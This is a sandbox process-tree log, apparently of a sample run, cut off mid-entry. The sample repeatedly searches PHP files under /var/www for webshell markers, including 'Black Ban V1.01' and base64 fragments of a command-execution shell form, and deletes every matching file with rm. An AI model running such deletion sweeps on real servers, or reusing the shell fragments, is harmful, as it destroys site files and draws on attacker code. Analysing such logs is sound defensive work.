      PID:929
  - - /usr/local/bin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:929
  - - /usr/sbin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:929
  - - /usr/bin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:929
  - - /sbin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:929
  - - /bin/grep
      grep -Il Unauth0r1zed
      4⤵
      PID:929
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:927
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:930
- - /usr/bin/xargs
    xargs -0 grep -Il t3rr0r
    3⤵
    PID:931
  - - /usr/local/sbin/grep
      grep -Il t3rr0r
      4⤵
      PID:934
  - - /usr/local/bin/grep
      grep -Il t3rr0r
      4⤵
      PID:934
  - - /usr/sbin/grep
      grep -Il t3rr0r
      4⤵
      PID:934
  - - /usr/bin/grep
      grep -Il t3rr0r
      4⤵
      PID:934
  - - /sbin/grep
      grep -Il t3rr0r
      4⤵
      PID:934
  - - /bin/grep
      grep -Il t3rr0r
      4⤵
      PID:934
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:932
- - /usr/bin/xargs
    xargs -0 grep -Il 0e192062b367640f89ecff7c7f4ae1b9
    3⤵
    PID:936
  - - /usr/local/sbin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:940
  - - /usr/local/bin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:940
  - - /usr/sbin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:940
  - - /usr/bin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:940
  - - /sbin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:940
  - - /bin/grep
      grep -Il 0e192062b367640f89ecff7c7f4ae1b9
      4⤵
      PID:940
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:935
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:938
- - /usr/bin/xargs
    xargs -0 grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
    3⤵
    PID:942
  - - /usr/local/sbin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:945
  - - /usr/local/bin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:945
  - - /usr/sbin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:945
  - - /usr/bin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:945
  - - /sbin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:945
  - - /bin/grep
      grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD
      4⤵
      PID:945
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:941
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:943
- - /usr/bin/xargs
    xargs -0 grep -Il 1JEjqYvbRSA8PMTjB
    3⤵
    PID:948
  - - /usr/local/sbin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:950
  - - /usr/local/bin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:950
  - - /usr/sbin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:950
  - - /usr/bin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:950
  - - /sbin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:950
  - - /bin/grep
      grep -Il 1JEjqYvbRSA8PMTjB
      4⤵
      PID:950
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:947
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:949
- - /usr/bin/xargs
    xargs -0 grep -Il qkLKx22ycIdbEdd2ewNodHRy
    3⤵
    PID:952
  - - /usr/local/sbin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:956
  - - /usr/local/bin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:956
  - - /usr/sbin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:956
  - - /usr/bin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:956
  - - /sbin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:956
  - - /bin/grep
      grep -Il qkLKx22ycIdbEdd2ewNodHRy
      4⤵
      PID:956
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:951
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:953
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:957
- - /usr/bin/xargs
    xargs -0 grep -Il UApLWfZz3vIhSFBPJvUnolRm
    3⤵
    PID:958
  - - /usr/local/sbin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:960
  - - /usr/local/bin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:960
  - - /usr/sbin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:960
  - - /usr/bin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:960
  - - /sbin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:960
  - - /bin/grep
      grep -Il UApLWfZz3vIhSFBPJvUnolRm
      4⤵
      PID:960
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:959
- - /usr/bin/xargs
    xargs -0 grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
    3⤵
    PID:963
  - - /usr/local/sbin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:966
  - - /usr/local/bin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:966
  - - /usr/sbin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:966
  - - /usr/bin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:966
  - - /sbin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:966
  - - /bin/grep
      grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA
      4⤵
      PID:966
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:962
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:964
- - /usr/bin/xargs
    xargs -0 grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
    3⤵
    PID:968
  - - /usr/local/sbin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:971
  - - /usr/local/bin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:971
  - - /usr/sbin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:971
  - - /usr/bin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:971
  - - /sbin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:971
  - - /bin/grep
      grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu
      4⤵
      PID:971
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:967
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:969
- - /usr/bin/xargs
    xargs -0 grep -Il z5IB9IIKD4bAsifd3tTghCaD
    3⤵
    PID:974
  - - /usr/local/sbin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:976
  - - /usr/local/bin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:976
  - - /usr/sbin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:976
  - - /usr/bin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:976
  - - /sbin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:976
  - - /bin/grep
      grep -Il z5IB9IIKD4bAsifd3tTghCaD
      4⤵
      PID:976
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:973
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:975
- - /usr/bin/xargs
    xargs -0 grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
    3⤵
    PID:979
  - - /usr/local/sbin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:983
  - - /usr/local/bin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:983
  - - /usr/sbin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:983
  - - /usr/bin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:983
  - - /sbin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:983
  - - /bin/grep
      grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt
      4⤵
      PID:983
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:978
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:980
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:985
- - /usr/bin/xargs
    xargs -0 grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
    3⤵
    - System Network Configuration Discovery
    PID:986
  - - /usr/local/sbin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:988
  - - /usr/local/bin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:988
  - - /usr/sbin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:988
  - - /usr/bin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:988
  - - /sbin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:988
  - - /bin/grep
      grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf
      4⤵
      System Network Configuration Discovery
      PID:988
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:987
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:990
- - /usr/bin/xargs
    xargs -0 grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
    3⤵
    PID:991
  - - /usr/local/sbin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:994
  - - /usr/local/bin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:994
  - - /usr/sbin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:994
  - - /usr/bin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:994
  - - /sbin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:994
  - - /bin/grep
      grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE
      4⤵
      PID:994
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:992
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:995
- - /usr/bin/xargs
    xargs -0 grep -Il "Black Ban V1.01"
    3⤵
    PID:996
  - - /usr/local/sbin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:1000
  - - /usr/local/bin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:1000
  - - /usr/sbin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:1000
  - - /usr/bin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:1000
  - - /sbin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:1000
  - - /bin/grep
      grep -Il "Black Ban V1.01"
      4⤵
      PID:1000
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:997
- - /usr/bin/xargs
    xargs -0 grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
    3⤵
    - System Network Configuration Discovery
    PID:1003
  - - /usr/local/sbin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:1006
  - - /usr/local/bin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:1006
  - - /usr/sbin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:1006
  - - /usr/bin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:1006
  - - /sbin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:1006
  - - /bin/grep
      grep -Il xtb4iPdnIWJRxU8IyOQEcyjY
      4⤵
      System Network Configuration Discovery
      PID:1006
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1002
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1005
- - /usr/bin/xargs
    xargs -0 grep -Il 6thGn5eUaCSpzv
    3⤵
    - Reads runtime system information
    PID:1008
  - - /usr/local/sbin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:1011
  - - /usr/local/bin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:1011
  - - /usr/sbin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:1011
  - - /usr/bin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:1011
  - - /sbin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:1011
  - - /bin/grep
      grep -Il 6thGn5eUaCSpzv
      4⤵
      PID:1011
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1007
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1009
- - /usr/bin/xargs
    xargs -0 grep -Il HI7sTioa
    3⤵
    - Reads runtime system information
    PID:1014
  - - /usr/local/sbin/grep
      grep -Il HI7sTioa
      4⤵
      PID:1016
  - - /usr/local/bin/grep
      grep -Il HI7sTioa
      4⤵
      PID:1016
  - - /usr/sbin/grep
      grep -Il HI7sTioa
      4⤵
      PID:1016
  - - /usr/bin/grep
      grep -Il HI7sTioa
      4⤵
      PID:1016
  - - /sbin/grep
      grep -Il HI7sTioa
      4⤵
      PID:1016
  - - /bin/grep
      grep -Il HI7sTioa
      4⤵
      PID:1016
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1013
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1015
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1018
- - /usr/bin/xargs
    xargs -0 grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
    3⤵
    PID:1019
  - - /usr/local/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:1023
  - - /usr/local/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:1023
  - - /usr/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:1023
  - - /usr/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:1023
  - - /sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:1023
  - - /bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:1023
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1020
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1024
- - /usr/bin/xargs
    xargs -0 grep -Il 5Bx04ERlrGnXR2yra
    3⤵
    PID:1025
  - - /usr/local/sbin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:1027
  - - /usr/local/bin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:1027
  - - /usr/sbin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:1027
  - - /usr/bin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:1027
  - - /sbin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:1027
  - - /bin/grep
      grep -Il 5Bx04ERlrGnXR2yra
      4⤵
      PID:1027
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:1026
- - /usr/bin/xargs
    xargs -0 grep -Il PC2DFckV8Pr7VsIlz
    3⤵
    PID:1030
  - - /usr/local/sbin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:1032
  - - /usr/local/bin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:1032
  - - /usr/sbin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:1032
  - - /usr/bin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:1032
  - - /sbin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:1032
  - - /bin/grep
      grep -Il PC2DFckV8Pr7VsIlz
      4⤵
      PID:1032
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1029
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1031
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1033
- - /usr/bin/xargs
    xargs -0 grep -Il B0WykLMrTWM3ksFE7CwoqHqB
    3⤵
    PID:1034
  - - /usr/local/sbin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:1036
  - - /usr/local/bin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:1036
  - - /usr/sbin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:1036
  - - /usr/bin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:1036
  - - /sbin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:1036
  - - /bin/grep
      grep -Il B0WykLMrTWM3ksFE7CwoqHqB
      4⤵
      PID:1036
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1035
- - /usr/bin/xargs
    xargs -0 grep -Il xBzLIuwz8oDrW2
    3⤵
    PID:1039
  - - /usr/local/sbin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1041
  - - /usr/local/bin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1041
  - - /usr/sbin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1041
  - - /usr/bin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1041
  - - /sbin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1041
  - - /bin/grep
      grep -Il xBzLIuwz8oDrW2
      4⤵
      PID:1041
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1038
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1040
- - /usr/bin/xargs
    xargs -0 grep -Il Nmg8ls5H
    3⤵
    PID:1043
  - - /usr/local/sbin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1045
  - - /usr/local/bin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1045
  - - /usr/sbin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1045
  - - /usr/bin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1045
  - - /sbin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1045
  - - /bin/grep
      grep -Il Nmg8ls5H
      4⤵
      PID:1045
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1042
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1044
- - /usr/bin/xargs
    xargs -0 grep -Il VictamPbx
    3⤵
    PID:1047
  - - /usr/local/sbin/grep
      grep -Il VictamPbx
      4⤵
      PID:1049
  - - /usr/local/bin/grep
      grep -Il VictamPbx
      4⤵
      PID:1049
  - - /usr/sbin/grep
      grep -Il VictamPbx
      4⤵
      PID:1049
  - - /usr/bin/grep
      grep -Il VictamPbx
      4⤵
      PID:1049
  - - /sbin/grep
      grep -Il VictamPbx
      4⤵
      PID:1049
  - - /bin/grep
      grep -Il VictamPbx
      4⤵
      PID:1049
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1046
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:1048
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:1050
- - /usr/bin/xargs
    xargs -0 grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
    3⤵
    PID:1051
  - - /usr/local/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1053
  - - /usr/local/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1053
  - - /usr/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1053
  - - /usr/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg
      4⤵
      PID:1053
  - - /sbin/grep
